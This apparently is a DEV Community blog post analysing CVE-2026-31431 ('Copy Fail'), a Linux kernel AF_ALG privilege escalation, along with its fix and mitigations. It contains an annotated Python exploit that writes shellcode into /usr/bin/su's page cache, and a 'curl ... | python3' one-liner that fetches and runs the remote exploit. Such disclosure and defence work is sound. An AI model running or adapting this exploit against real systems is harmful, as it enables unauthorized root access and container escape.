DEV Community

Copy Fail (CVE-2026-31431)

A critical kernel privilege escalation that leaves no trace on disk β€” and how it works

It started with a blog post. On April 29, 2026, Theori's research platform Xint Code quietly dropped a URL: copy.fail. Within hours, security teams across the industry were scrambling. A 732-byte Python script β€” shorter than most .gitignore files β€” was rooting every major Linux distribution in existence.

No race conditions. No kernel symbols. No ASLR bypass. Just a logic bug hiding in the Linux kernel since 2017, waiting to be found.

TL;DR for the Busy Reader

CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation (LPE) in the Linux kernel's AF_ALG crypto subsystem. An unprivileged user can:

  1. Open a crypto socket (zero privileges required)
  2. Splice pages from /usr/bin/su into it
  3. Trigger a 4-byte write into the in-memory page cache of that binary
  4. Run su β€” now running attacker shellcode β€” and get a root shell The file on disk is never touched. No checksums fail. No integrity monitors fire. The exploit is fully deterministic and works across kernels 4.14 through 7.x.

Background: What Is AF_ALG?

Linux exposes its kernel crypto engine to userspace through a socket interface called AF_ALG (Address Family - Algorithm), introduced in 2015. Think of it as /dev/crypto but via standard socket syscalls. Any unprivileged process can:

int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
// ... perform AES, HMAC, AEAD operations in kernel space
Enter fullscreen mode Exit fullscreen mode

This is used by OpenSSL's afalg engine, among others, for hardware-accelerated crypto. It's enabled by default in virtually every Linux distribution.

The algif_aead module specifically handles AEAD (Authenticated Encryption with Associated Data) β€” algorithms like AES-GCM that encrypt and authenticate data simultaneously.

The Bug: Three Things That Should Never Have Met

Copy Fail is the result of three independent design decisions colliding catastrophically.

1. The authencesn Scratch Write

authencesn is an AEAD algorithm used for IPsec with Extended Sequence Numbers. During decryption, it performs a deliberate 4-byte write past the end of the plaintext output as scratch space:

// In crypto_authenc_esn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                      ^^^^^^^^^^^^^^^^^^^
//                                      This is AFTER the output buffer ends
Enter fullscreen mode Exit fullscreen mode

In normal use, this is harmless β€” the overrun lands in allocated memory. But combine it with the next two factors...

2. The 2017 "In-Place" Optimization

In 2017, commit 72548b093ee3 introduced an optimization to algif_aead: instead of copying data out-of-place, the kernel reuses the source scatterlist as the destination:

// Simplified from algif_aead.c (pre-fix):
sg_chain(&out_sg, tfr_sg);  // chain tag pages INTO output scatterlist
req->src = req->dst;        // source = destination (in-place!)
Enter fullscreen mode Exit fullscreen mode

This saved a memory copy. It also accidentally made "writable" a set of pages that should have been read-only.

3. splice() Delivering Page Cache Pages

When you splice() a file into an AF_ALG socket, the kernel doesn't copy the data. It hands over direct references to the file's page cache. Those exact pages end up in the AEAD scatterlist.

Put it together:

splice(/usr/bin/su) β†’ AF_ALG socket
β†’ page cache pages enter AEAD scatterlist
β†’ in-place optimization chains them into the "writable" output list
β†’ authencesn writes 4 bytes past the output boundary
β†’ those 4 bytes land in /usr/bin/su's in-memory page cache
Enter fullscreen mode Exit fullscreen mode

A 4-byte arbitrary write into the page cache of any readable file. That's the primitive.

The Exploit

The public PoC is a single Python script hosted at the disclosure site. The one-liner that's been circulating:

curl https://copy.fail/exp | python3
Enter fullscreen mode Exit fullscreen mode

Here's what it does under the hood (simplified and annotated):

import os, zlib, socket

def write_4_bytes(file_fd, offset, payload_chunk):
    # Step 1: Open AF_ALG socket bound to the vulnerable algorithm
    sock = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    # Step 2: Configure with a dummy key β€” no privileges needed
    SOL_ALG = 279
    sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64))
    sock.setsockopt(SOL_ALG, 5, None, 4)
    req_sock, _ = sock.accept()

    # Step 3: Send AAD containing our 4-byte payload
    # authencesn will later write bytes 4-7 of AAD as its "scratch"
    req_sock.sendmsg(
        [b"A"*4 + payload_chunk],  # AAD: 4 filler bytes + our payload
        [(SOL_ALG, 3, b'\x00'*4),
         (SOL_ALG, 2, b'\x10' + b'\x00'*19),
         (SOL_ALG, 4, b'\x08' + b'\x00'*3)],
        32768
    )

    # Step 4: Splice target file's page cache into the socket
    pipe_r, pipe_w = os.pipe()
    os.splice(file_fd, pipe_w, offset + 4, offset_src=0)  # file β†’ pipe
    os.splice(pipe_r, req_sock.fileno(), offset + 4)       # pipe β†’ AF_ALG

    # Step 5: Trigger the decrypt β€” error is expected, write already happened
    try:
        req_sock.recv(8 + offset)
    except:
        pass  # HMAC will fail, that's fine β€” the write already occurred

    req_sock.close()


# Open the target setuid binary
target = os.open("/usr/bin/su", 0)

# Decompress shellcode and write it 4 bytes at a time into the page cache
shellcode = zlib.decompress(bytes.fromhex(
    "78da..."  # compressed shellcode blob
))

for i in range(0, len(shellcode), 4):
    write_4_bytes(target, i, shellcode[i:i+4])

# Execute the now-corrupted binary β€” it runs our shellcode as root
os.system("su")
Enter fullscreen mode Exit fullscreen mode

The loop runs a handful of times, each call writing 4 bytes of shellcode into /usr/bin/su's page cache at increasing offsets. When su is finally executed, the kernel loads it from the (now corrupted) page cache β€” running attacker shellcode with setuid root privileges.

The HMAC always fails. The recv() always returns an error. The exploit looks like a broken crypto operation. The write has already happened.

Why This Is a Nightmare for Detection

This is where Copy Fail separates itself from predecessors like Dirty COW and Dirty Pipe.

Nothing changes on disk

The page cache is the kernel's in-memory representation of files. When it's modified, the on-disk file is not. The kernel would need to mark the page dirty and flush it to disk for that to happen β€” and it never does here.

/usr/bin/su on disk:     [original, unmodified]
/usr/bin/su in memory:   [shellcode injected here]  ← this is what execve() uses
Enter fullscreen mode Exit fullscreen mode

Tools like AIDE, Tripwire, or any checksum-based file integrity monitor will report zero anomalies.

Syscalls look normal

The exploit uses only standard interfaces:

  • socket() β€” everyone uses sockets
  • sendmsg() β€” normal socket operation
  • splice() β€” common in high-performance I/O
  • recv() β€” returns an error, but errors happen There are no unusual privilege escalation calls, no /proc/*/mem writes, no ptrace, no /dev/mem access. Standard audit logs won't surface anything suspicious.

No persistence needed

The corruption exists only in memory. After a reboot, /usr/bin/su is clean again. An attacker who successfully escalates can then establish persistence through legitimate root-level mechanisms. Forensics after the fact finds nothing in the binary.

Affected Systems

If your kernel is between 4.14 and 7.x (including current LTS branches) and hasn't received the April/May 2026 patches, you're vulnerable. That covers:

  • Ubuntu 18.04 LTS through 24.04
  • Red Hat Enterprise Linux 7, 8, 9
  • Debian Buster, Bullseye, Bookworm
  • SUSE Linux Enterprise 15
  • Amazon Linux 2 and 2023
  • Fedora 38, 39, 40
  • Pretty much everything else The one saving grace: the attacker needs local access first. This isn't remotely exploitable on its own. However, in environments with multi-tenant systems, shared CI/CD runners, or Kubernetes clusters, "local" is a low bar.

Cross-Container Escape

The page cache is shared across the entire host kernel. A container doesn't get its own page cache β€” it shares the host's. This means a malicious container with access to AF_ALG can corrupt the host's page cache of a setuid binary.

If the host has /usr/bin/su mapped and a container can reach AF_ALG (the default in many Kubernetes setups), the container can escape to root on the host. This elevates Copy Fail from a local LPE to a container escape in multi-tenant environments.

How It Was Found: AI Did It in an Hour

Perhaps the most unsettling part of the Copy Fail story isn't the bug itself β€” it's that an AI found it.

Theori's Xint Code platform scanned the Linux crypto subsystem for user-reachable logic flaws. In approximately one hour, it identified the exact chain: authencesn + splice() + in-place AEAD = page cache corruption. The flaw had existed, undetected, for nine years.

This has serious implications. The attack surface of the Linux kernel is enormous. AI-assisted analysis can now traverse it at scale, modeling data flows through kernel subsystems that would take human researchers weeks to manually trace. Copy Fail is likely not the last bug of this class to be found this way.

The Fix

The patch is elegant in its simplicity. The upstream fix (commit a664bf3d603d) reverts the 2017 in-place optimization:

--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
-    sg_chain(&out_sg, tfr_sg);   // chain tag pages into output list
-    req->src = req->dst;         // source = destination (in-place)
+    // Operate out-of-place β€” page cache pages stay in the source list only
Enter fullscreen mode Exit fullscreen mode

As the GitHub Advisory puts it: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings." The optimization saved a copy but introduced a 9-year-old footgun.

What You Should Do Right Now

1. Patch immediately

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo dnf update kernel
sudo reboot

# Check your kernel version after reboot
uname -r
Enter fullscreen mode Exit fullscreen mode

Verify your distro's security advisory for the specific patched kernel version.

2. Disable algif_aead as a stopgap

If you can't reboot immediately:

# Block the module from loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf

# Unload it if currently loaded
sudo rmmod algif_aead 2>/dev/null || true
Enter fullscreen mode Exit fullscreen mode

Impact is minimal β€” almost no production software uses AF_ALG AEAD directly. SSH, LUKS, and OpenSSL use the kernel crypto API directly, not through AF_ALG.

3. Block AF_ALG in containers

For Kubernetes and Docker environments, add a seccomp profile that blocks socket(AF_ALG, ...). This is your most important short-term mitigation if you run multi-tenant workloads.

{
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ALLOW",
    "args": [{
      "index": 0,
      "value": 38,
      "op": "SCMP_CMP_NE"
    }]
  }]
}
Enter fullscreen mode Exit fullscreen mode

(Block socket() calls where the first argument is 38 / AF_ALG.)

4. Add runtime detection

Falco and other eBPF-based runtime security tools have published rules to detect AF_ALG + splice combinations that match the Copy Fail pattern. Deploy them now, even on patched systems, as a defense-in-depth measure.

Comparison to Dirty COW and Dirty Pipe

Dirty COW (2016) Dirty Pipe (2022) Copy Fail (2026)
CVE CVE-2016-5195 CVE-2022-0847 CVE-2026-31431
Race condition? Yes No No
Exploit size 4,000+ bytes ~1,000 bytes 732 bytes
Kernel range 2.6.22–3.9+ 5.8–5.16 4.14–7.x
Container escape? No Limited Yes
On-disk artifacts? Yes (writes to disk) Yes (writes to disk) No
Detection difficulty Moderate Moderate Very hard
Discovery method Human research Human research AI-assisted (1 hour)

Copy Fail is the most operationally dangerous of the three. No race to win, no offsets to calculate, no distribution-specific assumptions. It just works.

Final Thoughts

Copy Fail is a reminder that the Linux kernel is an enormous, complex codebase where subtle interactions between subsystems can hide for nearly a decade. A 2017 optimization that made perfect sense in isolation β€” reuse the scatterlist, save a copy β€” quietly became a critical security flaw when combined with a niche AEAD algorithm and a zero-copy syscall.

The fact that an AI found it in an hour is both impressive and sobering. If AI can find this, it can find others. The attack surface scanning that used to take months of expert human analysis is becoming automated.

Patch your kernels. Disable algif_aead if you can't. And assume there are more of these waiting.

CVE-2026-31431 was responsibly disclosed by Theori's Xint Code platform on April 29, 2026. Patches are available for all major Linux distributions as of May 2026. The vulnerability affects Linux kernels from 4.14 onward. Apply updates immediately.

Top comments (0)